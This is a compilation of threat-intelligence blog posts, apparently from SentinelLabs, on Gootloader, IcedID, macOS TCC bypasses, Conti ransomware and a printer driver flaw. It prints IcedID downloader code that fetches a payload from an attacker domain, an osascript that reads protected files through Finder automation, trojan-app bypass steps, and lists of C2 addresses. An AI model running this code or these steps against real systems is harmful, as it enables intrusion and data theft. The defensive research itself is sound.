  • T1566.002 Spear Phishing Link
  • T0817 Drive-by Compromise

Execution (TA0002):

  • T1059.007 Command and Scripting Interpreter: JavaScript
  • T1059.001 Command and Scripting Interpreter: Powershell
  • T1204.002 User Execution: Malicious File

Persistence (TA0003):

  • T1547.001 Boot or Logon Autostart Execution

Defence Evasion(TA0005):

  •  T1027 Obfuscated Files or Information

Privilege Escalation(TA0004):

  • T1055.012 Process Injection: Process Hollowing

URLs (Delivery Network):

  • www[.]hagdahls[.]com/search[.]php? |  /about[.]php?
  • www[.]hoteladler[.]it/search[.]php? |  /about[.]php?
  • www[.]handekazanova[.]com/search[.]php? |  /about[.]php?
  • www[.]hccpa[.]com[.]tw/search[.]php? |  /about[.]php?
  • www[.]hrgenius-uk[.]com/search[.]php? |  /about[.]php?
  • www[.]joseph-koenig-gymnasium[.]de/search[.]php? |  /about[.]php?
  • www[.]kartatatrzanska[.]pl/search[.]php? |  /about[.]php?
  • www[.]edmondoberselli[.]net/search[.]php? |  /about[.]php?
  • www[.]cwa1037[.]org/search[.]php? |  /about[.]php?
  • www[.]ehiac[.]com/search[.]php? |  /about[.]php?
  • www[.]cljphotographyny[.]com/search[.]php? |  /about[.]php?
  • www[.]charismatrade[.]ro/search[.]php? |  /about[.]php?
  • www[.]commitment[.]co[.]at/search[.]php? |  /about[.]php?
  • www[.]giuseppedeluigi[.]com/search[.]php? |  /about[.]php?
  • www[.]esist[.]org/search[.]php? |  /about[.]php?
  • www[.]dischner-kartsport[.]de/search[.]php? |  /about[.]php?
  • www[.]espai30lasagrera[.]cat/search[.]php? |  /about[.]php?
  • www[.]kettlebellgie[.]be/search[.]php? |  /about[.]php?
  • www[.]forumeuropeendebioethique[.]eu/search[.]php? |  /about[.]php?
  • www[.]frerecapucinbenin[.]org/search[.]php? |  /about[.]php?
  • www[.]formenbau-jaeger[.]de/search[.]php? |  /about[.]php?
  • www[.]fabiancoutoxp[.]com[.]ar/search[.]php? |  /about[.]php?

Cobalt C2

  • 78.128.113[.]14
  • 23.106.122[.]245

Network Communication

  • https://78.128.113[.]14/
  • https://78.128.113[.]14/ca
  • https://78.128.113[.]14/updates.rss
  • https://78.128.113[.]14/load
  • https://78.128.113[.]14/pixel.gif
  • https://23.106.122[.]245/pixel.gif
  • https://23.106.122[.]245/fwlink

YARA and Lures

Over 900 SHA1 hashes identified as part of the Gootloader Q1 2021 campaign along with some of the most relevant lures and embedded URLs used for the delivery of the payloads:

The post Gootloader: ‘Initial Access as a Service’ Platform Expands Its Search for High Value Targets appeared first on SentinelLabs.

☑ ☆ ✇ SentinelLabs

Evasive Maneuvers | Massive IcedID Campaign Aims For Stealth with Benign Macros

By: Marco Figueroa

Executive Summary

  • SentinelLabs has uncovered a recent IcedID campaign and analyzed nearly 500 artifacts associated with the attacks.
  • IcedID Office macro documents use multiple techniques in an attempt to bypass detection.
  • To further obfuscate the attack, data embedded in the document itself is used by the malicious macro. Analyzing only the macro provides an incomplete view of the attack.
  • The HTA dropper embedded in the document is obfuscated JavaScript, which executes in memory and utilizes additional techniques to evade AV/EDR.


Many security researchers thought that IcedID would be the successor to Emotet after the coordinated takedown of Emotet malware in early 2021 by law enforcement agencies. IcedID (aka BokBot) was designed as a banking trojan targeting victims’ financial information and acting as a dropper for other malware. Initially discovered in 2017, IcedID has become a prominent component in financially-driven cybercrime. The malware is primarily spread via phishing emails typically containing Office file attachments. The files are embedded with malicious macros that launch the infection routine, which retrieves and runs the payload.

In May 2021, SentinelLabs observed a new campaign delivering IcedID through widespread phishing emails laced with poisoned MS Word attachments that use a simple but effective technique to avoid suspicion. This ongoing IcedID campaign attempts to gain a foothold on the victim’s machine through a crafted Word doc in which the embedded macro itself does not contain any malicious code.

Just like a genuine macro, the IcedID macro operates on the content of the document itself. In this case, that content includes obfuscated JavaScript code. This simple technique helps to evade many automated static and dynamic analysis engines since the content’s malicious behavior is dependent upon execution through an MS Office engine.

The obfuscated JavaScript is responsible for dropping a Microsoft HTML Application (HTA) file to C:\Users\Public. The macro then employs Internet Explorer’s mshta.exe utility to execute the HTA file. This second stage execution reaches out to the attacker’s C2 and downloads a DLL file with a .jpg extension to the same Public folder. The HTA file calls rundll32 to execute this payload, which serves to collect and exfiltrate user data to the attacker’s C2.

Below we present further technical details of this recent campaign from examination of almost 500 artifacts.

Technical Analysis

The IcedID phishing email contains what looks like an innocuous enough Word attachment. As expected with these kinds of malware operations, opening the document prompts the user to enable editing and then ‘Enable content’.

Targets are prompted to enable macros when opening the maldoc

What is unexpected is that the macro itself is uninteresting.

The VBA macros contained in the document

In this case, the malicious code is found within the document itself, reversed JavaScript that is then base64 encoded.

Obfuscated code in the document.xml

The MS Word macro writes this code out as an HTA file to C:\Users\Public\. While this ensures success in terms of user permissions, arguably this is an operational mistake from the attacker’s side in the sense that this folder is a location generally monitored by security products.

The HTA code is executed by the macro using the GetObject() and Navigate() functions. This behavior is a “VB Legacy” technique that conforms to how older Office macro files behave.

Part of the VBA code embodied in the Word Document

Once the HTA code is running, it deobfuscates the JavaScript code in-memory and utilizes two additional techniques in an attempt to evade AV/EDR security controls:

  • The HTA file contains msscriptcontrol.scriptcontrol COM component, which is used to execute interactively with JavaScript.
  • The code calls JavaScript functions from VBScript code within the HTA. This technique also confuses different code and activity tracking engines within certain endpoint security products.
HTA file dropped in the Public folder

Below is the deobfuscated and ‘beautified’ version of the code from the HTA file.

var memoryVb = new ActiveXObject("msxml2.xmlhttp");"GET", "hxxp[:]//awkwardmanagement2013z[.]com/adda/hMbq4kHp63r/qv2KrtCyxsQZG2qnnjAyyS2THO0dNJcShIQ/mF4QLSMm/daIPccWw5X/Hpoop0jx2JCAW2rMXVnPrPu/JoSE6bOyTrt/lun6?sid=Kbgn&cid=yvlBl2mDXC7d6A6q&gRqB5BwPw=3P3WdrE&user=Ma", false);
if (memoryVb.status == 200) {

	try {
		var rightClass = new ActiveXObject("");;
		rightClass.type = 1;
		rightClass.savetofile("c:\\users\\public\\sizeTempStruct.jpg", 2);
	} catch (e) {}

The code initializes an MSXML2.XMLHTTP request and specifies the method, URL, and authentication information for the request. If the URL responds with a status code of 200, the code proceeds by downloading the remote file with a “.jpg” file extension. Unsurprisingly, the file is not what it pretends to be.

Looking at related domains by the same actor shows the breadth of activity. When tracking this campaign, the domain mappingmorrage[.]top had numerous duplicates of the “.jpg” file and the second stage binary associated with this campaign. Multiple file names are used such as “sizeQuery.jpg”, “sizeTempStruct.jpg”, “tmpSizeLocal.jpg” and so on.

IcedID related files on VirusTotal


Changing file extensions is a common, if unsophisticated, technique aimed at evasion. In this case, the “.jpg” file is actually a DLL. Analysis of the file’s exports reveals the DLLRegisterServer function, which is an obvious candidate for the initial installer of the IcedID malware.

PE Studio

To unpack this binary, we can load rundll32.exe in xdbg64 and use the command line option to specify the exported function in sizeTeamStruct.dll, as shown in the screenshot below.

Loading rundll + DLL with the exported function

To get to the packed binary, we need to add a breakpoint on VirtualAlloc and execute the run command until the breakpoint is hit. We want to look for the call that is responsible for allocating memory in the address space and dump the binary from the address location.

Unpacked IcedID

Looking at the dumped binary in PE Studio what catches the attention are the WinHttpOpenRequest, WinHttpSendRequest, and WinHttpReceiveResponse functions.

The WinHttpOpenRequest creates an HTTP request handle and stores the specified parameters in that handle, while WinHttpSendRequest sends the specified request to the C2 server and the WinHttpReceiveResponse waits to receive the response.

PE Studio with the unpacked IcedID

After loading the binary into xdbg64, we add the breakpoint on WinHttpOpenRequest. When this breakpoint is hit, we can see from the disassembly that the code is generating the domain through an xoring operation. This helps us to understand how the C2 value is generated.

Checking connectivity

Some of the domains collected from our analysis of around 500 samples of IcedID included:


These appear to be masked through CloudFlare IPs. For example,


The malware’s main module functions to steal credentials from the victim’s machine, exfiltrating information back to the C2 server.

A cookie which has information from the infected host is sent to the C2 and contains the OS type, username, computer name, and CPU domain, giving the operators a good understanding of the compromised environment.

_gat: Windows version info 6.3.9600.64 is Windows 8.1 64bit
_ga: Processor CPUID information
_u: Username and Computername DESKTOP-FRH1VBHMarcoFB35A6FF06678D37
__io: Domain id
_gid: NIC
IceID exfiltrates environmental data via a cookie

Discovering network traffic with the headers listed above is an indication that the host has been infected with IcedID malware.


Many IcedID attacks begin with a phishing email and users opening the attachment. In this campaign, IcedID uses a maldoc in the initial infection stage in an attempt to bypass defenses by interacting with the contents of the document itself. The use of an HTA file with its dependency on IE’s mshta.exe is reasonably unusual behavior that defenders can monitor for in their environments. This, along with other techniques such as changing the file extension and the behavior of the DLL, should be detected by a capable Next Gen security solution.

Indicators of Compromise

The post Evasive Maneuvers | Massive IcedID Campaign Aims For Stealth with Benign Macros appeared first on SentinelLabs.

☑ ☆ ✇ SentinelLabs

Bypassing macOS TCC User Privacy Protections By Accident and Design

By: Phil Stokes

Executive Summary

  • TCC is meant to protect user data from unauthorized access, but weaknesses in its design mean that protections are easily overridden inadvertently.
  • Automation, by design, allows Full Disk Access to be ‘backdoored’ while also lowering the authorization barrier.
  • Multiple partial and full TCC bypasses are known, with at least one actively exploited in the wild.
  • TCC does not prevent processes reading and writing to ‘protected’ locations, a loophole that can be used to hide malware.


In recent years, protecting sensitive user data on-device has become of increasing importance, particularly now that our phones, tablets and computers are used for creating, storing and transmitting the most sensitive data about us: from selfies and family videos to passwords, banking details, health and medical data and pretty much everything else.

With macOS, Apple took a strong position on protecting user data early on, implementing controls as far back as 2012 in OSX Mountain Lion under a framework known as ‘Transparency, Consent and Control’, or TCC for short. With each iteration of macOS since then, the scope of what falls under TCC has increased to the point now that users can barely access their own data – or data-creating devices like the camera and microphone – without jumping through various hoops of giving ‘consent’ or ‘control’ to the relevant applications through which such access is mediated.

There have been plenty of complaints about what this means with regards to usability, but we do not intend to revisit those here. Our concern in this paper is to highlight a number of ways in which TCC fails when users and IT admins might reasonably expect it to succeed.

We hope that by bringing attention to these failures, users and admins might better understand how and when sensitive data can be exposed and take that into account in their working practices.

Crash Course: What’s TCC Again?

Apple’s latest platform security guide no longer mentions TCC by name, but instead refers to ‘protecting app access to user data’. The current version of the platform security guide states:

“Apple devices help prevent apps from accessing a user’s personal information without permission using various technologies…[in] System Preferences in macOS, users can see which apps they have permitted to access certain information as well as grant or revoke any future access.”

In common parlance, we’re talking about privacy protections that are primarily managed by the user in System Preferences’ Privacy tab of the Security & Privacy pane.

System provides the front-end for TCC

Mac devices controlled by an MDM solution may also set various privacy preferences via means of a Profile. Where in effect, these preferences will not be visible to users in the Privacy pane above. However, they can be enumerated via the TCC database. The command for doing so changes slightly with Big Sur and later.

macOS 11 (Big Sur) and later:

sudo sqlite3 /Library/Application\ Support/ "SELECT client,auth_value FROM access WHERE service=='kTCCServiceSystemPolicyAllFiles'" | grep '2'$

macOS 10.15 (Catalina) and earlier:

sudo sqlite3 /Library/Application\ Support/ "SELECT client,allowed FROM access WHERE service == 'kTCCServiceSystemPolicyAllFiles'" | grep '1'$

The command line also presents users and administrators with the /usr/bin/tccutil utility, although its claim to offer the ability “to manage the privacy database” is a little exaggerated since the only documented command is reset. The tool is useful if you need to blanket wipe TCC permissions for the system or a user, but little else.

The spartan man page from tccutil

Under the hood, all these permissions are managed by the TCC.framework at /System/Library/PrivateFrameworks/TCC.framework/Versions/A/Resources/tccd.

Strings in tccd binary reveal some of the services afforded TCC protection

Looked at in a rather narrow way with regard to how users work with their Macs in practice, one could argue that the privacy controls Apple has designed with this framework work as intended when users (and apps) behave as intended in that narrow sense. However, as we shall now see, problems arise when one or both go off script.

Full Disk Access – One Rule That Breaks Them All

To understand the problems in Apple’s implementation of TCC, it’s important to understand that TCC privileges exist at two levels: the user level and the system level. At the user level, individual users can allow certain permissions that are designed only to apply to their own account and not others. If Alice allows the Terminal access to her Desktop or Downloads folders, that’s no skin off Bob’s nose. When Bob logs in, Terminal won’t be able to access Bob’s Desktop or Downloads folders.

At least, that’s how it’s supposed to work, but if Alice is an admin user and gives Terminal Full Disk Access (FDA), then Alice can quite happily navigate to Bob’s Desktop and Downloads folders (and everyone else’s) regardless of what TCC settings Bob (or those other users) set. Note that Bob is not afforded any special protection if he is an admin user, too. Full Disk Access means what it says: it can be set by one user with admin rights and it grants access to all users’ data system-wide.

While this may seem like good news for system administrators, there are implications that may not be readily apparent, and these implications affect the administrator’s own data security.

When Alice grants FDA permission to the Terminal for herself, all users now have FDA permission via the Terminal as well. The upshot is that Alice isn’t only granting herself the privilege to access others’ data, she’s granting others the privilege to access her data, too.

Surprisingly, Alice’s (no doubt) unintended permissiveness also extends to unprivileged users. As reported in CVE-2020-9771, allowing the Terminal to have Full Disk Access renders all data readable without any further security challenges: the entire disk can be mounted and read even by non-admin users. Exactly how this works is nicely laid out in this blog post here, but in short any user can create and mount a local snapshot of the system and read all other users’ data.

Even Standard users can read Admin’s private data

The ‘trick’ to this lies in two command line utilities, both of which are available to all users: /usr/bin/tmutil and /sbin/mount. The first allows us to create a local snapshot of the entire system, and the second to mount that snapshot as an apfs read-only file system. From there, we can navigate all users data as captured on the mounted snapshot.

It’s important to understand that this is not a bug and will not be fixed (at least, ‘works as intended’ appears to be Apple’s position at the time of writing). The CVE mentioned above was the bug for being able to exploit this without Full Disk Access. Apple’s fix was to make it only possible when Full Disk Access has been granted. The tl;dr for Mac admins?

When you grant yourself Full Disk Access, you grant all users (even unprivileged users) the ability to read all other users’ data on the disk, including your own.

Backdooring Full Disk Access Through Automation

This situation isn’t restricted only to users: it extends to user processes, too. Any application granted Full Disk Access has access to all user data, by design. If that application is malware, or can be controlled by malware, then so does the malware. But application control is managed by another TCC preference, Automation.

And here lies another trap: there is one app on the Mac that always has Full Disk Access but never appears in the Full Disk Access pane in System Preferences: the Finder.

Any application that can control the Finder (listed in ‘Automation’ in the Privacy pane) also has Full Disk Access, although you will see neither the Finder nor the controlling app listed in the Full Disk Access pane.

Because of this complication, administrators must be aware that even if they never grant FDA permissions, or even if they lock down Full Disk Access (perhaps via MDM solution), simply allowing an application to control the Finder in the ‘Automation’ pane will bypass those restrictions.

Automating the Finder allows the controlling app Full Disk Access

In the image above, Terminal, and two legitimate third party automation apps, Script Debugger and FastScripts, all have Full Disk Access, although none are shown in the Full Disk Access privacy pane:

Apps that backdoor FDA through Automation are not shown in the FDA pane

As noted above, this is because the Finder has irrevocable FDA permissions, and these apps have been given automation control over the Finder. To see how this works, here’s a little demonstration.

~  osascript<<EOD
set a_user to do shell script "logname"
tell application "Finder"
set desc to path to home folder
set copyFile to duplicate (item "private.txt" of folder "Desktop" of folder a_user of item "Users" of disk of home) to folder desc with replacing
set t to paragraphs of (do shell script "cat " & POSIX path of (copyFile as alias)) as text
end tell
do shell script "rm " & POSIX path of (copyFile as alias)

Although the Terminal is not granted Full Disk Access, if it has been granted Automation privileges for any reason in the past, executing the script above in the Terminal will return the contents of whatever the file “private.txt” contains. As “private.txt” is located on the user’s Desktop, a location ostensibly protected by TCC, users might reasonably expect that the contents of this file would remain private if no applications had been explicitly granted FDA permissions. This is demonstrably not the case.

Backdooring FDA access through automating the Finder

The obvious mitigation here is not to allow apps the right to automate the Finder. However, let’s note two important points about that suggestion.

First, there are many legitimate reasons for granting automation of the Finder to the Terminal or other productivity apps: any mildly proficient user who is interested in increasing their productivity through automation may well have done so or wish to do so. Unfortunately, this is an “All-In” deal. If the user has a specific purpose for doing this, there’s no way to prevent other less legitimate uses of Terminal’s (or other programs’) use of this access.

Second, backdooring FDA access in this way results in a lowering of the authorization barrier. Granting FDA in the usual way requires an administrator password. However, one can grant consent for automation of the Finder (and thus backdoor FDA) without a password. A consent dialog with a simple click-through will suffice:

A simple ‘OK’ gives access to control the Finder, and by extension Full Disk Access.

While the warning text is explicit enough (if the user reads it), it is far from transparent that given the Finder’s irrevocable Full Disk Access rights, the power being invested in the controlling app goes far beyond the current user’s consent, or control.

As a bonus, this is not a per-time consent. If it has ever been granted at any point in the past, then that permission remains in force (and thus transparent, in the not-good sense, to the user) unless revoked in System Preferences ‘Automation’ pane or via the previously mentioned tccutil reset command.

The tl;dr: keep a close and regular eye on what is allowed to automate the Finder in your System Preferences Privacy pane.

The Sorry Tale of TCC Bypasses

Everything we’ve mentioned so far is actually by design, but there is a long history of TCC bypasses to bear in mind as well. When macOS Mojave first went on public release, SentinelOne was the first to note that TCC could be bypassed via SSH (this finding was later duplicated by others). The indications from multiple researchers are that there are plenty more bypasses out there.

The most recent TCC bypass came to light after it was discovered being exploited by XCSSET malware in August 2020. Although Apple patched this particular flaw some 9 months later in May 2021, it is still exploitable on systems that haven’t been updated to macOS 11.4 or the latest security update to 10.15.7.

On a vulnerable system, it’s trivially easy to reproduce.

  1. Create a simple trojan application that needs TCC privileges. Here we’ll create an app that needs access to the current user’s Desktop to enumerate the files saved there.
    % osacompile -e 'do shell script "ls -al /Users/sphil/Desktop >> /tmp/lsout"' -o /tmp/
  2. Copy this new “” trojan to inside the bundle of an app that’s already been given TCC permission to access the Desktop.
    % cp -R /tmp/ /Applications/Some\

    One way you can find the current permitted list of apps is from the ‘Files and Folders’ category in the Privacy tab of System Preferences’ Security & Privacy pane (malware takes another route, as we’ll explain shortly).

  3. Execute the trojan app:
    % open /Applications/Some\

Security-minded readers will no doubt be wondering how an attacker achieves Step 2 without already having knowledge of TCC permissions – you can’t enumerate the list of privileged apps in the TCC.db from the Terminal unless Terminal already has Full Disk Access.

Assuming the target hasn’t already granted Terminal FDA privileges for some other legitimate reason (and who hasn’t these days?), an attacker, red teamer or malware could instead enumerate over the contents of the /Applications folder and take educated guesses based on what’s found there, e.g., Xcode, Camtasia, and Zoom are all applications that, if installed, are likely to be privileged.

Similarly, one could hardcode a list of apps known to have such permissions and search the target machine for them. This is precisely how XCSSET malware works: the malware is hardcoded with a list of apps that it expects to have screen capture permissions and injects its own app into the bundle of any of those found.

Decoded strings from XCSSET malware reveals a list of apps it exploits for TCC permissions

Unfortunately, the fix for this particular bug doesn’t effectively stop malware authors. If the bypass fails, it’s a simple matter to just impersonate the Finder and ask the user for control. As with the Automation request, this only requires the user to click-through their consent rather than provide a password.

Fake Finder App used by XCSSET malware to access protected areas

As we noted above, the (real) Finder already has Full Disk Access by default, so users seeing a request dialog asking to grant the Finder access to any folder should immediately raise suspicion that something is amiss.

TCC – Just One More Thing

That almost wraps up our tour of TCC gotchas, but there’s one more worth pointing out. A common misunderstanding with Apple’s User privacy controls is that it prevents access to certain locations (e.g., Desktop, Documents, Downloads, iCloud folders). However, that is not quite the case.

Administrators need to be aware that TCC doesn’t protect against files being written to TCC protected areas by unprivileged processes, and similarly nor does it stop files so written from being read by those processes.

A process can write to a TCC protected area, and read the files it writes

Why does this matter? It matters because if you have any kind of security or monitoring software installed that doesn’t have access to TCC-protected areas, there’s nothing to stop malware from hiding some or all of its components in these protected areas. TCC isn’t going to stop malware using those locations – a blind spot that not every Mac sys administrator is aware of – so don’t rely on TCC to provide some kind of built-in protected ‘safe-zone’. That’s not how it works, when it works at all.


We’ve seen how macOS users can easily and unknowingly expose data they think is protected by TCC simply by doing the things that macOS users, particularly admins, are often inclined to do. Ironically, most of these ‘inadvertent breaches’ are only possible because of TCC’s own lack of transparency. Why, for example, is the Finder not listed in the Full Disk Access pane? Why is it not clear that Automation of the Finder backdoors Full Disk Access? And why is password-authentication downgraded to a simple consent prompt for what is, effectively, the same privilege?

Other questions raised by this post concern whether consent should have finer grained controls so that prompts can be optionally repeated at certain intervals, and – perhaps most importantly –  whether users should be able to protect their own data by being allowed to opt out of FDA granted by other users on the same device.

We know that malware abuses some of these loopholes, and that various TCC bugs exist that have yet to be patched. Our only conclusion at this point has to be that neither users nor admins should place too much faith in the ability of TCC as it is currently implemented to protect data from unauthorized access.

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Conti Unpacked | Understanding Ransomware Development As a Response to Detection

By: Idan Weizman

By Idan Weizman & Antonio Pirozzi

Not yet two years old and already in its seventh iteration, Ransomware as a Service variant Conti has proven to be an agile and adept malware threat, capable of both autonomous and guided operation and with unparalleled encryption speed. As of June 2021, Conti’s unique feature set has helped its affiliates extort several million dollars from over 400 organizations.

In this report, we describe in unprecedented detail the rapid evolution of this ransomware and how it has adapted quickly to defenders’ attempts to detect and analyze it. In this post, we summarize our main findings.

Read the Full Report

Conti Background

Conti is developed and maintained by the so-called TrickBot gang, and it is mainly operated through a RaaS affiliation model. The Conti ransomware is derived from the codebase of Ryuk and relies on the same TrickBot infrastructure.

Initially, Ryuk and later Conti were delivered exclusively by TrickBot. However, by March 2021, as detections for TrickBot improved, BazarLoader/BazarBackdoor began to be used as the tool of choice for the delivery of Conti.

Conti samples first began to be seen around October 2019. Recent attacks, such as that on Ireland’s public health service, demonstrate that Conti has succeeded in becoming just as dangerous if not more so than its predecessor, for both organizations and the public at large. There are 399 reported Conti incidents at the time of writing:

Reported Conti incidents – Source: DarkTracer

In common with many other ransomware families, Conti also operates a leaks site in order to put further pressure on its victims to pay.

Conti – Evolution With Focus

This technical analysis aims to outline the Conti phylogenesis since the ransomware first appeared on the scene, in order to build a comprehensive knowledge of Conti’s evolution and its development pipeline.

For this study, we clustered Conti samples by timestamps. All the samples used in this research are readily available from OSINT and are recognized as Conti both by the community and by static and dynamic analysis done herein.

We found that each iteration implemented new features in Conti and evolved existing ones. In particular, we see a focus on the following key ransomware characteristics across the evolution of Conti variants:

Obfuscation: Since the early ‘test samples’ (late 2019), Conti started implementing a simple XOR mechanism to hide the API names resolved at runtime. From June 2020, a custom encoding function for string obfuscation was also employed, creating difficulties for static analysis and detection tools.

Speed: Conti uses up to 32 concurrent CPU threads for file encryption operations. Starting from the iteration of September 2020, the developers switched from AES to the CHACHA algorithm to further speed up the encryption process. This translates into less time required to lock victims’ data and reduce the chance of the operation being blocked.

File Encryption: starting from September 2020, a new logic for file encryption was added. The logic implements two different modes: full and partial. depending on file extension and file dimension. From January 2021, encryption through IoCompletionPorts was replaced by C++ queues and locks.

The Early Samples

The earliest sample of Conti we found dates from the end of 2019 and includes indications that it’s an early test version (e.g., the ransom note contains the text “test note”). It took eight months for this version to make headlines, but analysis of this ‘prototype’ helps us understand how Conti developed over time.

SHA-256: 2f334c0802147aa0eee90ff0a2b0e1022325b5cba5cb5236ed3717a2b0582a9c
Packed: Yes
Timestamp: 2019/10/06 14:08:28
File Type: EXE

SHA-256: 4f43a66d96270773f4e849055a844feb6ef234d7340b797f8763b7a9f8d80583
Packed: Yes
Timestamp: 2019/10/06 12:43:23
File Type: DLL

SHA-256: 94bdec109405050d31c2748fe3db32a357f554a441e0eae0af015e8b6461553e
Packed: No
Timestamp: 2019/10/21 15:00:01
File Type: EXE

SHA-256: 77b1fcae9e8f0a5a739c35961382e2b3f239a05c1135c4a8efe1964a263d5a47
Packed: No
Timestamp: 2019/10/21 15:00:01
File Type: EXE

These early samples have only a few imported functions linked at load time. Therefore, the first thing the code does is manually load required libraries at runtime using LoadLibraryA and GetProcAddress.

Moreover, all API names are encoded using a simple XOR with the byte 0x99. The names of DLLs are not encoded in this early version, save for some optional imports from Rstrtmgr.dll, the DLL responsible for Microsoft’s Windows’ Restart Manager function. The GetProcAddress function ends by making sure it’s got all the mandatory APIs it was looking for. Otherwise, it exits the program with ExitProcess.

Getting the last import and checking all imports are found

Two resources loaded from the PE file are of particular note. The first will be used as the text for the ransom note (which is set to “test note” in this earliest version), while the second is a list of comma-separated strings denoting files that should be encrypted in case they contain a substring from the list.

The hardcoded ransom note

In cases where the resource has a value of “null”, all files are encrypted except for a hardcoded list. This allows for simple modifications to the ReadMe text or for targeted encryption of specific files, without recompiling the ransomware.

In this early version, all running processes on the system are iterated. Processes containing “sql” in them are terminated with TerminateProcess.

Terminating processes containing ‘sql’

Our full technical report explores more details of this prototype version, but the last point we shall note here is that at the end of the encryption process, the file will be moved, adding the extension .CONTI to the end of it.

Conti Appears In The Wild

Two months later a new version appeared with the inclusion of a real ransom note instead of the embedded “test note”. Other minor changes include changes to the XOR key from 0x99 to 0x0F. More significantly, the ransomware now loads all imports at runtime, with the exception of LoadLibraryA, GetProcAddress, and for some unknown reason, CreateThread. This import is used to boost speed through parellelization as the ransomware looks for files to encrypt across all available drives.

Six months later, in July 2020, Conti had a third iteration and hit the headlines for the first time. String obfuscation has received a significant upgrade with the single-byte XOR key replaced by a custom encoding function, represented by the following pseudo code:

Improved string obfuscation method

The constants (a, b) are different for every encoded string. Additionally, more strings are obfuscated in comparison with the previous samples, although some are still left open on the stack (i.e., DLL names).

There are further changes to how APIs are loaded, but a noticeable lack of consistency, which reinforces the view that multiple developers with different areas of responsibility may be involved in Conti.

A notable new feature is the ability to accept command line arguments, meaning Conti can now be controlled by a human operator for improved targeting. The options include the ability to select the encryption mode (only local, only SMB shares, or both) as well as allowing a list of network locations to search for shares, and adding files found on such shares to the encryption list.

Conti’s Developers Respond To Detection Engines

By September 2020, Conti was making bigger waves, with press reports of an attack on the Fourth District Court of Louisiana claiming the U.S. court’s website was knocked offline and that stolen documents relating to defendants, witnesses and jurors were leaked.

By this time, Conti was on the radar of most endpoint security solutions and the developers clearly took notice. The next iteration includes a greater number of changes than the previous versions, with a heavy emphasis on evasion and anti-analysis.

For the most part, Conti now does not embed the plain names of DLLs and their required exports, but instead, only keeps a hash of the strings it needs. To get the requisite imports, it iterates through NtCurrentPeb()->Ldr->InLoadOrderModuleList, at first looking for the module kernel32.dll by the hash of its name, later on finding the LoadLibraryA API in the same manner, iterating over exports until the hashes match.

Only kernel32.dll is found by hash. The rest of the DLL names are embedded in the executable, now obfuscated, and are loaded using the LoadLibraryA API.

A newly implemented hook removal logic takes place after loading all the necessary DLLs. For each loaded DLL, Conti reads its file on disk and goes through all the exports in it, looking for a difference in the first few bytes. If any such difference is found between the disk version and the in-memory version, the bytes in memory are replaced by the bytes read from disk. This feature is aimed at bypassing some modern EPP/EDR platforms. Security products will often hook processes in order to fully monitor malicious activity. Conti targets this methodology specifically in the hopes of disarming security products lacking robust anti-tamper features.

There are a number of significant changes to the main logic, features and encryption, explored in greater detail in the full technical report. For example, the encryption algorithm is changed from AES to ChaCha. The keys are still generated randomly per file and written to the end of the file after being encrypted with an embedded RSA public key located in the data section of the binary.

Ever-focused on speed to beat mitigation attempts, Conti now includes a hardcoded list of 171 file extensions for which the whole content of the file is encrypted along with a further list of 20 file extensions for which only some part of the file is encrypted. Other files are categorized by size such that:

  • Files smaller than 1MiB are encrypted whole.
  • Files larger than 1MiB and smaller than 5MiB have only their first 1MiB encrypted.
  • Files larger than 5MiB are partially encrypted in jumps.

The extension of encrypted files is now changed from .CONTI to .YZXXX in a bid to avoid simple ransomware detection logic based on known extension changes.

Refining a Successful RaaS Model

Late 2020 saw further iteration with Conti now refining its ransom note to contain more contact information including website, TOR node, email and a “customer” UUID.

Example of recent Conti ransom note

Affiliates were offered a new command line option for logging errors as well as other improvements. To keep detection engines at bay, Conti included more dead code and busy loops to hinder simulation and static analysis.

Through early 2021, the developers changed the seed for their custom hash function twice across two more iterations. From this point on, we find samples more frequently, both packed and unpacked. Some samples are practically the same, except for the embedded public RSA key, the extension used for encrypted files, and the text placed inside the ReadMe file. Other than that, most changes going forward per new sample are minor.


We took a deep dive into the evolution of Conti ransomware, gaining some insight into the process of developing ransomware. Most notably, we saw how many changes take place to increase the evasiveness of the malware from detections and complicate the analysis process. Most meaningful changes and additions to the ransomware were done prior to September-October 2020, at which point, the developers needed only to make minor refinements to stay ahead of the detection curve and keep the money rolling in for their affiliates. Today, Conti is a mature project that is being used actively and aggressively to compromise and extort victims on a daily basis. Read the full report for further details and a complete list of IOCs.

Read the Full Report

Read the Full Report

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CVE-2021-3438: 16 Years In Hiding – Millions of Printers Worldwide Vulnerable

By: Asaf Amir

Executive Summary

  • SentinelLabs has discovered a high severity flaw in HP, Samsung, and Xerox printer drivers.
  • Since 2005 HP, Samsung, and Xerox have released millions of printers worldwide with the vulnerable driver.
  • SentinelLabs’ findings were proactively reported to HP on Feb 18, 2021 and are tracked as CVE-2021-3438, marked with CVSS Score 8.8.
  • HP released a security update on May 19th to its customers to address this vulnerability.

As part of our commitment to secure the internet for all users, our researchers have engaged in an open-ended process of vulnerability discovery for targets that impact wide swaths of end users. Our research has been consistently fruitful, particularly in the area of OEM drivers[1, 2]. Many of these drivers come preloaded on devices or get silently dropped when installing some innocuous legitimate software bundle and their presence is entirely unknown to the users. These OEM drivers are often decades old and coded without concern for their potential impact on the overall integrity of those systems.

Our research approach has allowed us to proactively engage with vendors and manufacturers to patch previously unknown vulnerabilities before they can be exploited in the wild. We will continue our efforts to reduce the overall attack surface available to cunning adversaries.

Discovering an HP Printer Driver Vulnerability

Several months ago, while configuring a brand new HP printer, our team came across an old printer driver from 2005 called SSPORT.SYS thanks to an alert by Process Hacker once again.

This led to the discovery of a high severity vulnerability in HP, Xerox, and Samsung printer driver software that has remained hidden for 16 years. This vulnerability affects a very long list of over 380 different HP and Samsung printer models as well as at least a dozen different Xerox products.

The beginning of a long list of affected HP and Samsung products
A number of Xerox Products are also affected by CVE-2021-3438

Since all of these models are in fact manufactured by HP, we reported the vulnerability to them.

Technical Details

Just by running the printer software, the driver gets installed and activated on the machine regardless of whether you complete the installation or cancel.

Thus, in effect, this driver gets installed and loaded without even asking or notifying the user. Whether you are configuring the printer to work wirelessly or via a USB cable, this driver gets loaded. In addition, it will be loaded by Windows on every boot:

This makes the driver a perfect candidate to target since it will always be loaded on the machine even if there is no printer connected.

The vulnerable function inside the driver accepts data sent from User Mode via IOCTL (Input/Output Control) without validating the size parameter:

The vulnerable function inside the driver

This function copies a string from the user input using strncpy with a size parameter that is controlled by the user. Essentially, this allows attackers to overrun the buffer used by the driver.

An interesting thing we noticed while investigating this driver is this peculiar hardcoded string: "This String is from Device [email protected]@@@ ".

The hardcoded string in the vulnerable driver

It seems that HP didn’t develop this driver but copied it from a project in Windows Driver Samples by Microsoft that has almost identical functionality; fortunately, the MS sample project does not contain the vulnerability.


